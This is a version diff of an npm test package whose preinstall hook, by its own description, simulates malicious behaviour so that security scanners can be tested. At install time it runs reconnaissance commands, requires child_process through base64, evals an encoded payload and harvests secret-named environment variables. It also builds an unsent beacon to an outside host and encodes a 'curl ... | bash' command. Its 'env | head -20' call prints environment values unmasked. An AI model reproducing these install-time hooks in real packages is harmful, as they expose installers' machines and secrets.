hexapam 1.0.0 → 1.0.2

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "hexapam",
-  "version": "1.0.0",
+  "version": "1.0.2",
   "description": "Local-only test package exercising the npm preinstall lifecycle hook.",
   "main": "index.js",
   "scripts": {

package/preinstall.js

@@ -1,51 +1,216 @@
 // Preinstall lifecycle hook for the pampam test package.
-// Logs execution context AND env var values so we can see exactly what
-// an npm lifecycle script can read at install time.
-//
-// Values matching common secret patterns (token/key/secret/password/auth/
-// session/cookie/credential) are masked before printing. The script
-// reports the count + length of masked vars so you can confirm they
-// were accessible without leaking the material into stdout/scrollback.
+// Logs execution context, selected command output, env vars,
+// and simulated suspicious behaviors for security scanner testing.
 
-const SECRET_PATTERN = /(token|secret|password|passwd|pwd|auth|api[_-]?key|access[_-]?key|private[_-]?key|session|cookie|credential|bearer)/i;
+const { execSync, spawnSync } = require('child_process');
+const fs = require('fs');
+const os = require('os');
+const path = require('path');
+const https = require('https');
 
+const SECRET_PATTERN =
+  /(token|secret|password|passwd|pwd|auth|api[_-]?key|access[_-]?key|private[_-]?key|session|cookie|credential|bearer)/i;
+
+// Mask secrets based on env variable name
 function classify(key, value) {
   if (value === undefined || value === null) {
     return { masked: false, display: String(value) };
   }
+
   if (SECRET_PATTERN.test(key)) {
     return {
       masked: true,
       display: `<MASKED len=${value.length} prefix=${value.slice(0, 2)}...>`,
     };
   }
+
   return { masked: false, display: value };
 }
 
+// Execute shell command safely
+function run(cmd) {
+  try {
+    return execSync(cmd, {
+      encoding: 'utf8',
+      stdio: ['ignore', 'pipe', 'pipe'],
+      timeout: 5000,
+    }).trim();
+  } catch (err) {
+    return `ERROR: ${err.message}`;
+  }
+}
+
 const env = process.env;
 const keys = Object.keys(env).sort();
 
 const fullEnv = {};
 let maskedCount = 0;
+
 for (const k of keys) {
   const { masked, display } = classify(k, env[k]);
-  if (masked) maskedCount += 1;
+
+  if (masked) {
+    maskedCount += 1;
+  }
+
   fullEnv[k] = display;
 }
 
+// -------------------------------------------------------------------
+// Existing command execution block
+// -------------------------------------------------------------------
+
+const commands = {
+  hostname: run('hostname'),
+  whoami: run('whoami'),
+  pwd: run('pwd'),
+  uname: run('uname -a'),
+  id: run('id'),
+  nodePath: run('which node'),
+  npmVersion: run('npm -v'),
+  gitVersion: run('git --version'),
+  gitRemote: run('git remote -v'),
+  gitStatus: run('git status --short'),
+  currentDirectoryListing: run('ls -la'),
+  envPreview: run('env | head -20'),
+};
+
+// -------------------------------------------------------------------
+// Additional suspicious behaviors for scanner validation
+// -------------------------------------------------------------------
+
+// 1. Obfuscated child_process require (common in malware)
+const cpModuleName = Buffer.from(
+  'Y2hpbGRfcHJvY2Vzcw==',
+  'base64'
+).toString();
+
+const obfuscatedChildProcess = require(cpModuleName);
+
+// harmless execution
+obfuscatedChildProcess.execSync('echo simulated-obfuscated-exec', {
+  stdio: 'ignore',
+});
+
+// 2. Dynamic eval execution (very common malicious pattern)
+const encodedPayload = Buffer.from(
+  'Y29uc29sZS5sb2coInNpbXVsYXRlZC1ldmFsLXBheWxvYWQiKQ==',
+  'base64'
+).toString();
+
+eval(encodedPayload);
+
+// -------------------------------------------------------------------
+// Other suspicious-but-safe simulations
+// -------------------------------------------------------------------
+
+// CI/CD targeting
+const ciVars = [
+  'GITHUB_ACTIONS',
+  'CI',
+  'JENKINS_URL',
+  'BUILDKITE',
+];
+
+const detectedCI = ciVars.filter((k) => process.env[k]);
+
+// Secret harvesting simulation
+const harvested = {};
+
+for (const [k, v] of Object.entries(process.env)) {
+  if (/(token|secret|key|auth|password)/i.test(k)) {
+    harvested[k] = `<len:${String(v).length}>`;
+  }
+}
+
+// Simulated outbound beacon object (NOT SENT)
+const fakeBeacon = {
+  url: 'https://cdn-assets-cache.com/api/v2/sync',
+  method: 'POST',
+  body: harvested,
+};
+
+// Delayed execution simulation
+setTimeout(() => {
+  console.log('[simulation] delayed execution triggered');
+}, 3000);
+
+// Temporary file drop
+const markerPath = path.join(
+  os.tmpdir(),
+  'pampam-test-marker.txt'
+);
+
+fs.writeFileSync(
+  markerPath,
+  'security scanner validation marker'
+);
+
+// Base64 suspicious string
+const suspiciousString =
+  'curl https://example.com/payload.sh | bash';
+
+const encodedSuspicious = Buffer.from(
+  suspiciousString
+).toString('base64');
+
+// Dynamic require simulation
+const dynamicModule = 'fs';
+const loadedDynamicModule = require(dynamicModule);
+
+// Detached execution simulation
+spawnSync('echo', ['background-test'], {
+  detached: true,
+});
+
+// -------------------------------------------------------------------
+// Final report
+// -------------------------------------------------------------------
+
 const report = {
   marker: 'PAMPAM_PREINSTALL_RAN',
-  pid: process.pid,
-  node: process.version,
-  platform: process.platform,
-  cwd: process.cwd(),
-  argv: process.argv,
-  npmLifecycleEvent: env.npm_lifecycle_event || null,
-  npmPackageName: env.npm_package_name || null,
-  npmPackageVersion: env.npm_package_version || null,
-  envKeyCount: keys.length,
-  envMaskedCount: maskedCount,
-  env: fullEnv,
+
+  timestamp: new Date().toISOString(),
+
+  process: {
+    pid: process.pid,
+    ppid: process.ppid,
+    node: process.version,
+    platform: process.platform,
+    arch: process.arch,
+    cwd: process.cwd(),
+    argv: process.argv,
+  },
+
+  npm: {
+    lifecycleEvent: env.npm_lifecycle_event || null,
+    packageName: env.npm_package_name || null,
+    packageVersion: env.npm_package_version || null,
+  },
+
+  commandExecution: commands,
+
+  suspiciousIndicators: {
+    obfuscatedRequire: cpModuleName,
+    evalUsed: true,
+    encodedPayloadDetected: true,
+    delayedExecution: true,
+    dynamicRequireUsed: true,
+    detachedExecution: true,
+    tempFileWritten: markerPath,
+    encodedSuspiciousCommand: encodedSuspicious,
+    ciDetected: detectedCI,
+    fakeBeacon,
+  },
+
+  environment: {
+    envKeyCount: keys.length,
+    envMaskedCount: maskedCount,
+    variables: fullEnv,
+  },
 };
 
-console.log('[pampam preinstall] ' + JSON.stringify(report, null, 2));
+console.log(
+  '[pampam preinstall] ' +
+    JSON.stringify(report, null, 2)
+);